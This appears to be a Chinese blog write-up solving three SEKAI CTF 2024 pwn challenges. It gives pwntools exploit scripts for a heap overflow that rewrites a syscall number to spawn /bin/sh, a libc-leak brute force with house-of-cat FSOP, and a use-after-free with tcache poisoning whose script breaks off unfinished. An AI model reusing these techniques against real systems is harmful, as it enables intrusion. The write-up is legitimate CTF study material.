2024 SEKAI-CTF(nolibc speedpwn life_simulator_2)

news2024/12/26 10:51:49

文章目录

  • nolibc
    • exp
  • speedpwn
    • exp
  • life_simulator_2
    • 委托构造函数
      • 委托构造函数的语法
      • 解释
    • std:remove和std:erase
      • 代码解释
      • 原理
      • 内存管理注意事项
    • 思路
      • 1. 背景
      • 2. 示例代码
      • 3. 解释
    • vector插入逻辑
      • 1. 函数参数
      • 2. 本地变量
      • 3. 逻辑分析
      • 4. 扩容逻辑
      • 5. 直接插入逻辑
      • 6. 返回结果
    • exp

nolibc

[!] Did not find any GOT entries
[*] '/home/llk/Desktop/pwn/sekaictf/nolibc/main'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

检查保护感觉是溢出,只能注册一个账户并登录该账户
可以通过data段残留的pie地址泄露pie 后来Nightu师傅说可以直接读文件的,被自己蠢哭了

后来tplus师傅是利用size是buffer长度不是整个chunk,可以溢出改系统调用号,当时也想过,但当时源码没逆太懂,后来逆懂了后确实存在一个很明显的洞

char *__fastcall alloc(int size)
{
  struct chunk *next_use_chunk; // [rsp+4h] [rbp-20h]
  signed int up_align_16_size; // [rsp+10h] [rbp-14h]
  struct chunk *v4; // [rsp+14h] [rbp-10h]
  struct chunk *v5; // [rsp+1Ch] [rbp-8h]

  if ( !size )
    return 0LL;
  up_align_16_size = (size + 15) & 0xFFFFFFF0;
  v5 = next_use_chunk_ptr;
  v4 = 0LL;
  while ( 1 )
  {
    if ( !v5 )
      return 0LL;
    if ( up_align_16_size <= v5->size )
      break;
    v4 = v5;
    v5 = v5->next_use_chunk;
  }
  if ( v5->size >= (unsigned __int64)(up_align_16_size + 16LL) )
  {
    next_use_chunk = (struct chunk *)&v5->buff[up_align_16_size];
    next_use_chunk->size = v5->size - up_align_16_size - 16;
    next_use_chunk->next_use_chunk = v5->next_use_chunk;
    v5->next_use_chunk = next_use_chunk;
    v5->size = up_align_16_size;
  }
  if ( v4 )
    v4->next_use_chunk = v5->next_use_chunk;
  else
    next_use_chunk_ptr = v5->next_use_chunk;
  return v5->buff;
}

首先会根据next_use_chunk找到一个size大于等于up_align_16_size 的use_chunk_ptr,如果找到的use_chunk_ptr就是当前的next_use_chunk_ptr 一开始的(第一个可以被使用的chunk),就会直接更新 next_use_chunk_ptr = v5->next_use_chunk;,并且会根据v5->size >= (unsigned __int64)(up_align_16_size + 16LL)size是否大于等于当前chunk的总长度来决定是否要分割(大于等于意味着分为后至少还有剩余的0x10部分可以作为chunk_header),如果只满足size大于等于up_align_16_size 此时会迭代 next_use_chunk_ptr = v5->next_use_chunk;(不能分割,说明当前正好合适)

由于最高next_use_chunk的size是剩余长度,而不是buff长度,而原来比较都是buffer长度,所以会将剩余长度认为是buffer长度,当剩余长度为0x10,此时如果分配0x20会溢出0x10个字节

注意分配的size是输入的len+0x10& 0xFFFFFFF0,然后输入内容的长度是len+1,这样输入的内容只能填溢出的那一个字节,但通过len=0x xxxf可以避免

exp

from pwn import *

p=process("./main")

context(os="linux",arch="amd64",log_level="debug")
p.sendlineafter(b"Choose an option: ",str(2))
p.sendlineafter(b"Username: ",b"llk") 
p.sendlineafter(b"Password: ",b"1010") 

p.sendlineafter(b"Choose an option: ",str(1))
p.sendlineafter(b"Username: ",b"llk") 
p.sendlineafter(b"Password: ",b"1010") 


def add(length,content):
    p.sendlineafter(b"Choose an option: ",str(1))
    p.sendlineafter(b"Enter string length: ",str(length)) 
    p.sendlineafter(b"Enter a string: ",content) 


def dele(index):
    p.sendlineafter(b"Choose an option:",str(2))
    p.sendlineafter(b"Enter the index of the string to delete: ",str(index)) 
  


def show():
    p.sendlineafter(b"Choose an option:",str(3))


def save(filename):
    p.sendlineafter(b"Choose an option:",str(4))
    p.sendlineafter(b"Enter the filename: ",filename) 


def load(filename):
    p.sendlineafter(b"Choose an option:",str(5))
    p.sendlineafter(b"Enter the filename: ",filename) 

# load("/proc/self/maps")
# show()
# leak=p.recv(timeout=2)
# print("[+] leak------------------------")



for i in range(191):
    add((int("0xe0", 16)),"llk")

# gdb.attach(p)

add((int("0x7f", 16)),0x70*b"a"+p32(0)+p32(1)+p32(59)+p32(3))


# pause()

for i in range(191):
    dele(i)

# pause()
load(b"/bin/sh\x00")


p.interactive()

在这里插入图片描述

speedpwn

[*] '/home/llk/Desktop/pwn/sekaictf/speedpwn/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

记得.gdbinit要有set disable-randomization off

unsigned long long game_history;
unsigned long long seed;
FILE *seed_generator;
……
 if(cmp(player_num, bot_num)) {
        puts("You win!");
        *((unsigned long long*)&game_history + (number_of_games / 64)) |= ((unsigned long long)1 << (number_of_games % 64));
    }
    else {
        puts("Bot wins!");
        *((unsigned long long*)&game_history + (number_of_games / 64)) &= (~((unsigned long long)1 << (number_of_games % 64)));
    }

明显的game_history溢出可以往高地址处bss任意写,可以发送全为1来设置对应game_history相应位为1,为0来设置对应game_history相应位为0

溢出改seed_generator文件结构体,但是没有地址泄露,想通过栈的残留libc泄露,但发现变量都被输入赋值了请教eurus师傅说是通过scanf输入 - 不会改变残留libc,从而libc泄露,没想到scanf输入 - 不会改变残留libc,自己还是太菜了

应该是调用libc函数在栈帧上残留的libc地址,然后通过simulate中的cmp爆破,每次simulate残留的栈帧都一样

利用残留libc低20位和最高4位不变来爆破(我在ubuntu22.04上跑是这样的,但好像别的师傅的wp都是低12位,但爆破原理都是一样的)
最低libc位为0,所以从低位往高位填比特位1当长度相等时候,此时返回0,而不是1,从而得到比特位1的个数

  • 长度:最低libc位为0,所以从低位往高位填比特位1当长度相等时候,此时返回0,而不是1,从而得到比特位1的个数
  • 比特位,通过爆破中间的24位,从低至高比特位设1爆破规则如下
  libc_midd_24    player_midd_24
    ……            ……
    0             0
    1             0 
    0             0
    0             0
    0/1           1    ->1相等往高位遍历时由于不相等然后&后一定返回1,为0不相等则返回0    

想改got表,但没有函数可以控制参数,并且seed_generator只能改一次,所以想通过IO劫持控制流然后getshell,因为无法修改seed_generator的文件结构体,所以利用越界写bss来伪造文件结构体,然后再打IO

IO的house of cat的poc

#include <stddef.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
size_t getlibc()
{
    puts("getlibc");
    size_t result=&puts-0x75b30;
    return result;
}
unsigned long long seed;
FILE *seed_generator;
size_t fake_io[0x100];
int main()
{   
     setvbuf(stdout, NULL, _IONBF, 0);
    size_t libc_base=getlibc();
    printf("libc base %p",libc_base);
    
    seed_generator = fopen("/dev/urandom", "r");
    fread((char*)&seed, 1, 8, seed_generator);


    fake_io[0]=0x3b687320;  //will cover  content that lock point with 1
    fake_io[0x20/8]=0;  //write_base
    fake_io[0x28/8]=1;  //write_ptr
    fake_io[0xa0/8]=fake_io;   //_wide_data  
    fake_io[0x18/8]=0;         //_wide_data->_IO_write_base
    fake_io[0x30/8]=0;     //_wide_data->_IO_buf_base
    fake_io[0xe0/8]=fake_io;    // _wide_data->__wide_vtable 0xe0
    fake_io[0x68/8]=libc_base+0x4e720;  //system  
    fake_io[0x88/8]=fake_io+0x100/8;  // attention fake_io is long*  , lock  address can be write    [fake_io+8]==0         
    fake_io[0xc0/8]=0;  //mode
    fake_io[0xd8/8]=libc_base+0x1d2648-40; //_IO_wfile_jumps-40

    seed_generator=fake_io;


    fread((char*)&seed, 1, 8, seed_generator);

   

    


}

在这里插入图片描述

exp

from pwn import *

p=process("./chall")

def set_1():
    p.sendlineafter(b"> ",str("f"))
    p.sendlineafter(b"Player plays: ",str(18446744073709551615))

def set_0():
    p.sendlineafter(b"> ",str("f"))
    p.sendlineafter(b"Player plays: ",str(0))

def simulate(bot,play):
    p.sendlineafter(b"> ",str("s"))
    p.sendlineafter(b"Bot number: ",str(bot))
    p.sendlineafter(b"Player number: ",str(play))


libc=0x7000000955c2
leak_1bit_number_libc=0x7000000955c2+1
num=1

for i in range(48,64):
    tmp=leak_1bit_number_libc
    tmp=tmp|1<<i 

    simulate("-",tmp)
    result=p.recvuntil(b"!")
    if b"Bot win!" in result:
        num=num+1
        leak_1bit_number_libc=leak_1bit_number_libc|1<<i 
    if b"You win!" in result:
        num=num+1
        leak_1bit_number_libc=(leak_1bit_number_libc-1)|1<<i |1<<(i+1) 
        print("1bit_num",num)
        break
    


use_num=0
libc=leak_1bit_number_libc

max_num=num

for i in range(20,44): 

    if use_num==max_num-1:
        tmp=libc
        tmp=tmp&~(1<<44)
        print("& libc",hex(tmp))
        tmp=tmp|1<<i 
        print("try libc",hex(tmp))

        simulate("-",tmp)
        result=p.recvuntil(b"!")
        
        if b"Bot win!" in result:
            print("leak finish")
            libc=tmp|(1<<44)
            libc=libc&~(1<<(use_num+48)) 
    
            break
        continue
    tmp=libc
    tmp=tmp&~(1<<(use_num+48)) 
    print("& libc",hex(tmp))
    tmp=tmp|1<<i 
    print("try libc",hex(tmp))
    simulate("-",tmp)
    result=p.recvuntil(b"!")
   
    if b"Bot win!" in result:
        print("success libc bit",hex(tmp))
        libc=tmp
        use_num=use_num+1
    
libc_base=libc-0x955c2
     

def write_64(content):
    for i in range(64):
        
        if content & (1<<i)!=0:
            set_1()
            
        else:
            set_0()
            
           





write_64(0)
write_64(0)
write_64(0x4040a0)

# fake_io[0]=0x3b687320;  #will cover  content that lock point with 1
# fake_io[0x20/8]=0;  #write_base
# fake_io[0x28/8]=1;  #write_ptr
# fake_io[0xa0/8]=0x4040a0;   #_wide_data  
# fake_io[0x18/8]=0;         #_wide_data->_IO_write_base
# fake_io[0x30/8]=0;     #_wide_data->_IO_buf_base
# fake_io[0xe0/8]=0x4040a0;    # _wide_data->__wide_vtable 0xe0
# fake_io[0x68/8]=libc_base+0x58740;  #system  
# fake_io[0x88/8]=0x4040a0+0x100;  # attention fake_io is long*  , lock  address can be write    [fake_io+8]==0         
# fake_io[0xc0/8]=0;  #mode
# fake_io[0xd8/8]=libc_base+0x202228-40; #_IO_wfile_jumps-40




payload=flat({0:p32(0x3b687320),0x28:p64(1),0x30:p64(0),0x68:p64(libc_base+0x58740),0x88:p64(0x4040a0+0x100),0xa0:p64(0x4040a0),0xc0:0,0xd8:p64(libc_base+0x202228-40),0xe0:p64(0x4040a0)},filler=b'\x00', length=0x100)

# gdb.attach(p)

# context(os="linux",arch="amd64",log_level="debug")
while payload:
    tmp=payload[:8]
    print(u64(tmp))
    write_64(u64(tmp))
    payload=payload[8:]


p.sendlineafter(b"> ",str("r"))
p.interactive()


在这里插入图片描述

life_simulator_2

委托构造函数

委托构造函数是 C++11 引入的一种特性,允许一个构造函数调用同一类中的另一个构造函数。这种特性可以减少代码重复,提高代码的可维护性和可读性。通过委托构造函数,我们可以在一个构造函数中对对象进行标准化的初始化,然后在其他构造函数中复用这个初始化逻辑。

委托构造函数的语法

基本语法是通过初始化列表来调用另一个构造函数。例如:

class Example {
public:
    // 主构造函数
    Example(int a, int b, int c) {
        // 初始化逻辑
        x = a;
        y = b;
        z = c;
    }

    // 委托构造函数,调用主构造函数
    Example(int a, int b) : Example(a, b, 0) {}

    // 委托构造函数,调用主构造函数
    Example(int a) : Example(a, 0, 0) {}

    // 委托构造函数,调用主构造函数
    Example() : Example(0, 0, 0) {}

private:
    int x, y, z;
};

解释

  1. Example(int a, int b, int c)

    • 这是主构造函数,负责初始化所有三个成员变量 x, y, 和 z
  2. Example(int a, int b) : Example(a, b, 0) {}

    • 这是一个委托构造函数,它调用了主构造函数 Example(int a, int b, int c),并将第三个参数 c 默认设为 0
    • 这样可以避免在构造函数中重复初始化逻辑。
  3. Example(int a) : Example(a, 0, 0) {}

    • 这个构造函数又进一步简化,只需一个参数 a,其他两个参数都设为 0,继续委托给主构造函数。
  4. Example() : Example(0, 0, 0) {}

    • 无参数构造函数,所有参数都设为默认值 0

std:remove和std:erase

这段代码用于从 std::vector<Company*> companies 中移除特定的 Company* 指针。让我们逐步解释这段代码的工作原理及其背后的原理:

代码解释

companies.erase(std::remove(companies.begin(), companies.end(), company_to_remove), companies.end());
  1. std::remove 函数

    • 功能: std::remove 是 C++ 标准库中的一个算法,用于重新排列范围 [first, last) 中的元素,使得所有不等于 value 的元素都在前面,并返回一个新的迭代器,指向 “删除” 操作后的新末尾。
    • 参数:
      • companies.begin(): 指向向量的起始位置的迭代器。
      • companies.end(): 指向向量的结束位置的迭代器。
      • company_to_remove: 需要从向量中移除的特定 Company* 指针。
    • 结果: std::remove 并不真正删除元素,而是将不需要的元素移到后面,并返回新末尾的迭代器。
  2. companies.erase 函数

    • 功能: erasestd::vector 的成员函数,真正从向量中移除指定范围内的元素。
    • 参数:
      • 第一个参数是 std::remove 返回的新末尾的迭代器。
      • 第二个参数是 companies.end(),指向向量的真实末尾。
    • 结果: erase 会从向量中移除从 std::remove 返回的迭代器到向量末尾的所有元素。

原理

  • “移除-擦除”惯用法: 这段代码利用了 C++ 中的“移除-擦除”惯用法(remove-erase idiom),这是在 STL 容器中删除元素的常见模式。因为 std::remove 只是重新排列元素,而不改变容器的大小,所以需要使用 erase 来真正移除那些多余的元素。

  • 效率: 这种方法是有效的,因为它只遍历容器一次,使用 std::remove 移动元素,避免了在循环中多次调用 erase 导致的效率低下。

内存管理注意事项

  • 删除指针: 在使用 std::vector<Company*> 时,erase 仅移除指针,而不删除指针所指向的堆内存。如果 Company* 指针是通过 new 分配的,程序员需要确保在移除之前或之后通过 delete 释放这些内存,以避免内存泄漏。例如:

    auto it = std::remove(companies.begin(), companies.end(), company_to_remove);
    for (auto iter = it; iter != companies.end(); ++iter) {
        delete *iter; // 释放堆内存
    }
    companies.erase(it, companies.end());
    

思路

保护全开

从题目描述来看好像是从worker出发,没卵用

只发现了个整数溢出,感觉没卵用,同时发现clear不太正常,因为没有释放,只是清零
请教nightu师傅是逻辑问题,实在忽视了。。感觉太久没注意到这种逻辑洞了

其实整数溢出还是有用的,以后还是要关注溢出后的结果对程序执行流的影响,可能存在意想不到的惊喜。同时以后还得理清代码逻辑了

整数溢出影响的数其中可能能影响程序控制流的数company_budget其会影响total_net_worth,从而导致它也越界,但好像total_net_worth越界对其他程序执行流依然正常理解(逻辑正常),然后关于company_budget越界可能影响程序执行流的只有这个了,但这个发现逻辑比较炸裂

void Company::elapse_week() {
    uint64_t total_profit = 0;
    for(auto it : this->projects) {
        total_profit += it->generate_profit() - it->worker_pay();
    }
    this->company_budget += total_profit;
    this->company_age += 1;
    
   if(!(company_to_remove->number_of_workers() == 0 || company_to_remove->get_company_budget() == 0)) {
        std::cerr << "ERR: Not Allowed" << std::endl;
        return;
    }

等价于

company_to_remove->number_of_workers() != 0 && company_to_remove->get_company_budget() != 0

与正常逻辑相反,应该是有意让为0尝试,考虑为零带来的影响,二者至少有一个为0才能sell掉

然后进入,这里company_to_remove释放后进入0x50的tcache,想可以通过再次申请然后泄露堆地址,但相关申请堆的实例都会覆盖前八个字节。。give up

company_to_remove->remove_projects();
    delete company_to_remove;

void Company::remove_projects() {
    for(auto it : this->projects) {
        delete it;
    }
    this->projects.clear();
}
Company::~Company() { 
    this->company_name.clear();
    this->projects.clear();
    this->company_budget = 0;
}
Project::~Project() { 
    this->project_name.clear();
    this->workers.clear();
    this->company = nullptr;
    this->profit_per_week = 0;
}

发现这边释放的不完整,只释放了projects对象(0x48也是进入0x50的tcache),但project内的std::vector<Worker*> workers {};里面指向的各个Worker对象没有被释放,并且Worker对象里有 Project *project;但project已经被释放了,所以可以通过workers UAF

然后选择generate_profit()为零,worker_pay()为company_budget的方法使得company_budget最后为零

generate_profit()这里profit_per_week 不能为零,一开始想看看有没有可能二者的乘积溢出,然后在转换为uint64_t 后为零

doubleuint64_t 相乘后,再将结果转换为 uint64_t 类型时,如果结果超出了 uint64_t 能表示的范围,就可能导致溢出。在某些情况下,溢出的结果可能被转换为 0

1. 背景

uint64_t 是64位无符号整数,其取值范围是 [0, 2^64 - 1],即 [0, 18446744073709551615]。当 double 的乘积超过这个范围时,再转换为 uint64_t 时会发生溢出。

在C/C++中,当浮点数转换为无符号整数类型时,如果浮点数超出了目标类型的表示范围,行为是未定义的。具体表现可能因编译器和运行时环境的不同而有所变化。在某些系统中,溢出的结果可能被视为 0

2. 示例代码

以下是一个示例代码,展示了这种情况:

#include <iostream>
#include <cstdint>
#include <limits> // For std::numeric_limits

int main() {
    uint64_t a = 18446744073709551615ULL; // uint64_t的最大值
    double b = 2.0; // 将使结果超过uint64_t最大值

    double result_double = a * b; // 先计算乘积,结果为double
    uint64_t result_uint64 = static_cast<uint64_t>(result_double); // 转换为uint64_t

    std::cout << "Double result: " << result_double << std::endl;
    std::cout << "Converted to uint64_t: " << result_uint64 << std::endl;

    return 0;
}

3. 解释

在这个例子中:

  • auint64_t 类型的最大值 18446744073709551615
  • bdouble 类型的 2.0

ab 相乘时,结果是 36893488147419103230(即 2 * 18446744073709551615),这个值远远超过了 uint64_t 类型的最大值。

在将 result_double 转换为 uint64_t 时,因为结果超出了 uint64_t 的表示范围,行为未定义。在某些编译器或运行时环境下,溢出的结果可能被处理为 0

Double result: 3.68935e+19
Converted to uint64_t: 0

然后让number_of_workersprofit_per_week尽可能的大就行了

或者看看std::pow((long double)PROFIT_RATIO, this->number_of_workers())有没有可能为零,但不太可能为零

uint64_t Project::generate_profit() {
    return this->profit_per_week * std::pow((long double)PROFIT_RATIO, this->number_of_workers());
    //果 PROFIT_RATIO 是 1.1,number_of_workers() 返回 3,那么这个表达式就会计算 1.1³。
}

UAF后连续申请company拿到占据原来的object,然后分配个project给该company使得vector部分被填冲好,不然使用该company作为object时Company* Project::get_company() 会拿到0,后面对get_company到的company会进行相关访问操作,然后是想用workers_info来泄露地址

一开始感觉泄露不了,也感觉占据的话由于对应的Company位置不是Company对象,可能当作Company访问会出现bug,主要是get_company_name和number_of_projects,并且没有直接残存并且正好输入该位置内容的那种,但还是决定试试,然后调试的时候发现Project workers count: 11941248770158,结合对应的函数和此时布局来看

__int64 __fastcall std::vector<Worker *>::size(_QWORD *a1)
{
  return (__int64)(a1[1] - *a1) >> 3;
}

company占据project
pwndbg> tele 0x56e24f210390 12
00:0000│ rax 0x56e24f210390 —▸ 0x56e24f2103a0 ◂— 0x7375727565 /* 'eurus' */
01:00080x56e24f210398 ◂— 5
02:00100x56e24f2103a0 ◂— 0x7375727565 /* 'eurus' */
03:00180x56e24f2103a8 ◂— 0
04:00200x56e24f2103b0 ◂— 0x3f2
05:00280x56e24f2103b8 ◂— 0
06:00300x56e24f2103c0 —▸ 0x56e24f210370 —▸ 0x56e24f210650 —▸ 0x56e24f210660 ◂— 0x56e2006e7770 /* 'pwn' */
07:00380x56e24f2103c8 —▸ 0x56e24f210378 ◂— 0
08:00400x56e24f2103d0 —▸ 0x56e24f210378 ◂— 0

惊奇的发现a1[1]就是0x56e24f210370 然后*a1就是0,然后>>3,所以此时11941248770158就是右移3位的结果

此时根据Company* Project::get_company()得到的Company如下

pwndbg> tele 0x56e24f210378 12
00:0000│  0x56e24f210378 ◂— 0      #  std::string company_name {""};
01:0008│  0x56e24f210380 ◂— 0
02:0010│  0x56e24f210388 ◂— 0x51 /* 'Q' */
03:0018│  0x56e24f210390 —▸ 0x56e24f2103a0 ◂— 0x7375727565 /* 'eurus' */
04:0020│  0x56e24f210398 ◂— 5    #company_budget
05:0028│  0x56e24f2103a0 ◂— 0x7375727565 /* 'eurus' */   #    uint64_t company_age {0};
06:0030│  0x56e24f2103a8 ◂— 0  # std::vector<Project*> projects {};
07:0038│  0x56e24f2103b0 ◂— 0x3f2
08:0040│  0x56e24f2103b8 ◂— 0
09:0048│  0x56e24f2103c0 —▸ 0x56e24f210370 —▸ 0x56e24f210650 —▸ 0x56e24f210660 ◂— 0x56e2006e7770 /* 'pwn' */
0a:0050│  0x56e24f2103c8 —▸ 0x56e24f210378 ◂— 0
0b:0058│  0x56e24f2103d0 —▸ 0x56e24f210378 ◂— 0

然后感觉应该是围绕着worker进行,因为其他的操作都是正常操作,hire_worker对能够UAF的worker的相关操作好像没啥影响和fire_worker由于对应的object是被company占据的,vector也不完整,用不了,mov_worker由于不完整也不能成功。。。。。

通过string伪造company好像没啥用(因为work相关函数直接联系project)

std::string,字符串长度过长会在堆上创建,如果申请的company的名字字符过长时,会导致,申请一个堆存company后,然后再申请一个堆存字符串,而存字符串的堆对应原来worker的project。但add过程中会分配很多在堆上上的字符串缓冲区(大概三个,company前一个,company后两个),size就是字符串长度+0x10。所以得提前准备

Allocated chunk | PREV_INUSE
Addr: 0x5b81513c76b0  //add后被free
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x5b81513c76f0
Size: 0x50 (with flag bits: 0x51)

Allocated chunk | PREV_INUSE
Addr: 0x5b81513c7740   //add后被free
Size: 0x40 (with flag bits: 0x41)

Allocated chunk | PREV_INUSE
Addr: 0x5b81513c7780
Size: 0x40 (with flag bits: 0x41)

为0x50时,会连续申请四个size为0x50的,第二个是company,第四个是字符的

进入add前

要使得0x5b35e9aef6c0被string覆盖,但由于一开始会申请一个0x50的缓冲区,然后分配company,导致0x5b35e9aef6c0 没有被覆盖为company
 
0x50 [  3]: 0x5b35e9aee600 —▸ 0x5b35e9aef6c0 —▸ 0x5b35e9aef850 ◂— 0

Allocated chunk | PREV_INUSE
Addr: 0x5b35e9af05c0
Size: 0x50 (with flag bits: 0x51)

add结束后

pwndbg> tele 0x5b35e9aee600 
00:0000│  0x5b35e9aee600 ◂— 0x5b305af062be
01:0008│  0x5b35e9aee608 ◂— 0x9d6f99e477f2dda3
02:0010│  0x5b35e9aee610 ◂— 'llllllllllllllllllllllllllllllllllllllllllllllll'
... ↓     5 skipped
pwndbg> tele 0x5b35e9aef850 
00:0000│  0x5b35e9aef850 ◂— 0x5b35e9aef
01:0008│  0x5b35e9aef858 ◂— 0x9d6f99e477f2dda3
02:0010│  0x5b35e9aef860 ◂— 'llllllllllllllllllllllllllllllllllllllllllllllll'
... ↓     5 skipped
pwndbg> tele 0x5b35e9af05c0
00:0000│  0x5b35e9af05c0 ◂— 0xa30 /* '0\n' */
01:0008│  0x5b35e9af05c8 ◂— 0x51 /* 'Q' */
02:0010│  0x5b35e9af05d0 ◂— 'llllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllll'
... ↓     5 skipped


通过这样布局即可解决

add_company(b"wait1 ",str(1200).encode())
add_company(b"wait2 ",str(1200).encode())
add_company(b"wait3 ",str(1200).encode())
add_company(b"wait4 ",str(1200).encode())

sell_company(b"wait3 ") 
sell_company(b"wait2 ") 
sell_company(b"wait1 ")   
sell_company(b"wait4 ")   

然后找找堆上是否有残留libc地址或者栈地址,改company到那里的一定偏移去。再worker_info泄露, 傻逼了,突然想到,直接分配个company的字符堆能到unsortedbin就行

但糟糕的是如果按照如下布局,0x64985160e6c0 会被free,导致原来的string被占据了些大的地址,所以得保证0x64985160e6c0 是最后一个才行

#0x50 [  3]: 0x64985160d600 —▸ 0x64985160e6c0 —▸ 0x64985160e850 ◂— 0

#0x50 [  4]: 0x64985160f5c0 —▸ 0x64985160d600 —▸ 0x64985160e6c0 —▸ 0x64985160e850 ◂— 0

pwndbg> tele 0x5be0f554e6c0
00:0000│  0x5be0f554e6c0 ◂— 0x5be0f554e
01:0008│  0x5be0f554e6c8 ◂— 0x18ebbc21ea61c452
02:0010│  0x5be0f554e6d0 ◂— 0x6c6c6c6c6c6c6c6c ('llllllll')
... ↓     4 skipped
07:0038│  0x5be0f554e6f8 —▸ 0x5be0f55504a0 ◂— 0

但依然不满足project中的头部的string对象格式,但我们可以构造,直接对照一个搬过来就行,然后将头部的string地址设置为泄露libc的地址,然后为了避免company出现访问和string对象问题,将其设置为存在的company

pwndbg> tele 0x584af5e746c0  12
00:0000│  0x584af5e746c0 ◂— 0x6c6c6c6c6c6c6c6c ('llllllll')
... ↓     6 skipped
07:0038│  0x584af5e746f8 —▸ 0x584af5e764a0 ◂— 0

但棘手的是,string长度为0x47才会申请到0x50的chunk,但0x48就不会了,所以company的低字节不会,但只需要7个字节就够了,因为堆的地址只有6个字节,还好还好

靠忘记可以再free进入然后再申请,就可以再次修改company和project了。。搞得我构造两次。。

剩下一开始想劫持rop,打找不到可以打的点,有个写堆地址的以为无用。。

问了tplus师傅,太强啦,写堆地址->任意地址写堆地址->写tcache_struct->fd出栈造rop

由于worker不能伪造,这里worker前八个字节是string的地址,这里还得让string大些,然后string字符再含有栈地址,然后就能出来

相关关系如下图所示
在这里插入图片描述
move_worker从project1到project2时,如果vector_begin为tcache_struct上相关地址,那么将会往tcache_struct上写一个堆地址,然后通过该堆的fd申请到栈打rop,相关fake都用申请string堆来代替

注意输入的字符里面有"\x20"字节会识别为空格,然后出现错误

vector插入逻辑

__int64 __fastcall std::vector<Worker *>::emplace_back<Worker *&>(__int64 a1, __int64 a2)
{
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rbx
  __int64 v5; // rax
  __int64 v7; // [rsp+20h] [rbp-20h]

  if ( *(_QWORD *)(a1 + 8) == *(_QWORD *)(a1 + 16) )
  {
    v4 = std::forward<Worker *&>(a2);
    v5 = std::vector<Worker *>::end(a1);
    std::vector<Worker *>::_M_realloc_insert<Worker *&>(a1, v5, v4);
  }
  else
  {
    v2 = std::forward<Worker *&>(a2);
    v7 = *(_QWORD *)(a1 + 8);
    v3 = std::forward<Worker *&>(v2);
    std::construct_at<Worker *,Worker *&>(v7, v3);
    *(_QWORD *)(a1 + 8) += 8LL;
  }
  return std::vector<Worker *>::back(a1);
}

1. 函数参数

  • a1:这是 std::vector<Worker*> 对象的地址。
  • a2:这是一个 Worker* 类型的引用,代表要插入到 std::vector 中的指针。

2. 本地变量

  • v2, v3, v4, v5:这些是中间变量,通常用来存储计算结果。
  • v7:用于存储 std::vector 当前末尾元素的地址。

3. 逻辑分析

if ( *(_QWORD *)(a1 + 8) == *(_QWORD *)(a1 + 16) )
  • a1 + 8:指向 std::vector 容器的当前末尾(即第一个空闲位置)。
  • a1 + 16:指向 std::vector 容器的容量的末尾(即容器的容量极限位置)。

这行代码判断 std::vector 是否已满(即当前元素个数是否等于容量)。如果满了,则进入扩容逻辑,否则直接在当前末尾插入元素。

4. 扩容逻辑

v4 = std::forward<Worker *&>(a2);
v5 = std::vector<Worker *>::end(a1);
std::vector<Worker *>::_M_realloc_insert<Worker *&>(a1, v5, v4);
  • v4:使用 std::forward 转发 a2,即要插入的 Worker* 指针。
  • v5:调用 std::vector<Worker*>::end() 获取 std::vector 的末尾迭代器,指向当前插入的元素位置。
  • _M_realloc_insert:这是 std::vector 内部的一个函数,用于在扩容时进行插入操作。它会重新分配一块更大的内存,然后将旧数据和新数据拷贝到新内存中。

5. 直接插入逻辑

v2 = std::forward<Worker *&>(a2);
v7 = *(_QWORD *)(a1 + 8);
v3 = std::forward<Worker *&>(v2);
std::construct_at<Worker *,Worker *&>(v7, v3);
*(_QWORD *)(a1 + 8) += 8LL;
  • v2:使用 std::forward 转发 a2,获取要插入的 Worker* 指针。
  • v7:获取当前 std::vector 末尾的地址(即插入位置)。
  • v3:再次通过 std::forward 处理 v2,得到 Worker* 指针。
  • std::construct_at:在 v7 地址处构造一个新的 Worker*,即在 std::vector 的末尾插入新的 Worker*
  • *(_QWORD *)(a1 + 8) += 8LL:更新 std::vector 的末尾指针,指向下一个空闲位置。

6. 返回结果

return std::vector<Worker *>::back(a1);
  • 最后,函数返回 std::vector<Worker*> 容器的最后一个元素(即刚刚插入的元素)。

最后是可以拿到了worker的UAF,然后改fd就行 或者找两个相邻的worker,然后两个都写tcache_struct,申请第一个出来后,利用size越界写修改相邻的那个还在tcache_struct的worker的fd为加密的stack地址太麻烦了maybe下次可以尝试造个题,然后直接造不了worker的UAF折磨下别人

exp

from pwn import *
p=process("./pwn")


def add_company(company_name,budget):
    p.sendline(b"add_company "+company_name+budget)


def sell_company(company_name):
    p.sendline(b"sell_company "+company_name) 

def add_project(company_name,project_name,project_profit_per_week):
    p.sendlineafter(b"INFO: Success",b"add_project "+company_name+project_name+project_profit_per_week)

def remove_project(company_name,project_name):
    p.sendline(b"add_project "+company_name+project_name)

def hire_worker(company_name,project_name,worker_name,salary):
    p.sendlineafter(b"INFO: Success",b"hire_worker "+company_name+project_name+worker_name+b" "+salary)

def fire_worker(worker_name):
    p.sendline(b"fire_worker "+worker_name)

def move_worker(worker_name,new_project_name):
    p.sendline(b"move_worker "+worker_name+new_project_name)

def worker_info(worker_name):
    p.sendline(b"worker_info "+worker_name)

def elapse_week():
    p.sendline(b"elapse_week ")

# context(os="linux",arch="amd64",log_level="debug")

p.sendline(b"add_company "+b"llk "+str(1200).encode())


add_project(b"llk ",b"pwn ",b"1000000 ")

for i in range(40):
    hire_worker(b"llk ",b"pwn ",str(i).encode(),str(30).encode())

elapse_week()



sell_company(b"llk ")

add_company(b"llk1 ",str(1200).encode())
add_company(b"llk2 ",str(1200).encode())
add_project(b"llk2 ",b"pwn ",b"1000000 ")

worker_info(str(1).encode())

p.recvuntil(b"Project workers count: ")
heap=(int(p.recvuntil(b"\n")[:-1].decode('ascii'))<<3)-0x13370
print("leak heap",hex(heap))



add_company(b"llk3 ",str(1200).encode())

add_project(b"llk3 ",b"pwn ",b"1000000 ")

for i in range(40):
    hire_worker(b"llk3 ",b"pwn ",str(i+40).encode(),str(30).encode())


elapse_week()



sell_company(b"llk3 ")


# for tcache
#0x50 [  3]: 0x584af5e73600 —▸ 0x584af5e746c0 —▸ 0x584af5e74850 ◂— 0



add_company(b"wait1 ",str(1200).encode())
add_company(b"wait2 ",str(1200).encode())
add_company(b"wait3 ",str(1200).encode())
add_company(b"wait4 ",str(1200).encode())

